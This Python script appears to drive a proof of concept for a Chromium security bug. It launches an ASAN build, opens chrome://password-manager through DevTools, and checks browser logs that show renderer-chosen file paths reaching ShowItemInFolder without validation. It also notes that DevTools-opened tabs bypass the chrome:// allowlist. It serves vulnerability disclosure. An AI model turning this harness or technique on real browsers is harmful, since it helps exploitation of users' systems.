#!/usr/bin/env python3
"""
Driver for the passwordsPrivate.showExportedFileInShell path-validation POC.

This script:
  1. Launches the ASAN Chrome build with a DevTools debugging port.
  2. Navigates a tab to chrome://password-manager/ via the DevTools Protocol
     (chrome:// URLs are blocked from the command line on desktop).
  3. The patched WebUI bundle (see chromium-changes.patch) — simulating a
     compromised chrome://password-manager renderer — invokes
     chrome.passwordsPrivate.showExportedFileInShell() with attacker-chosen
     paths immediately on load.
  4. Captures stderr from the browser process and prints lines proving the
     attacker-supplied path crosses the renderer→browser IPC boundary and
     reaches platform_util::ShowItemInFolder with no validation.
"""

import json
import os
import shutil
import signal
import subprocess
import sys
import time
import urllib.request

CHROME = os.environ.get(
    'CHROME', '/chromium/chromium/src/out/asan/chrome')
PROFILE = '/tmp/chrome-poc-profile'
PORT = 9222


def http_get_json(path):
    with urllib.request.urlopen(f'http://127.0.0.1:{PORT}{path}',
                                timeout=5) as r:
        return json.loads(r.read().decode())


def http_put(path):
    req = urllib.request.Request(f'http://127.0.0.1:{PORT}{path}',
                                 method='PUT')
    with urllib.request.urlopen(req, timeout=5) as r:
        return json.loads(r.read().decode())


def main():
    if os.path.isdir(PROFILE):
        shutil.rmtree(PROFILE)

    cmd = [
        CHROME,
        '--no-first-run',
        '--no-default-browser-check',
        '--ignore-gpu-blocklist',
        '--no-sandbox',          # container has no userns sandbox; the bug
                                 # under test is browser-process logic and is
                                 # unaffected by the renderer sandbox.
        '--disable-gpu',
        '--enable-logging=stderr',
        f'--remote-debugging-port={PORT}',
        f'--user-data-dir={PROFILE}',
        'about:blank',
    ]
    print(f'[*] launching: {" ".join(cmd)}', file=sys.stderr)
    proc = subprocess.Popen(cmd, stdout=subprocess.PIPE,
                            stderr=subprocess.STDOUT)

    # Wait for DevTools to come up.
    for _ in range(60):
        try:
            http_get_json('/json/version')
            break
        except Exception:
            time.sleep(0.5)
    else:
        proc.kill()
        out, _ = proc.communicate()
        sys.stderr.write(out.decode(errors='replace'))
        sys.exit('DevTools never came up')

    print('[*] DevTools up; navigating to chrome://password-manager/',
          file=sys.stderr)
    # /json/new?<url> opens a new tab at <url> — DevTools-initiated
    # navigations bypass the command-line chrome:// allowlist.
    target = http_put('/json/new?chrome://password-manager/')
    print(f'[*] opened target: {target.get("url")}', file=sys.stderr)

    # Give the WebUI a few seconds to load and fire the injected calls.
    time.sleep(8)

    proc.send_signal(signal.SIGTERM)
    try:
        out, _ = proc.communicate(timeout=20)
    except subprocess.TimeoutExpired:
        proc.kill()
        out, _ = proc.communicate()

    text = out.decode(errors='replace')
    with open('chrome-output.log', 'w') as f:
        f.write(text)

    print('\n========== POC-RELEVANT OUTPUT ==========')
    hit = False
    for line in text.splitlines():
        if '[POC]' in line or 'ShowItemInFolder' in line:
            print(line)
            hit = True
    print('=========================================\n')

    if hit:
        print('[+] SUCCESS: renderer-supplied path reached browser-process '
              'platform_util::ShowItemInFolder with no validation.')
        return 0
    print('[-] POC log markers not found; see chrome-output.log')
    return 1


if __name__ == '__main__':
    sys.exit(main())
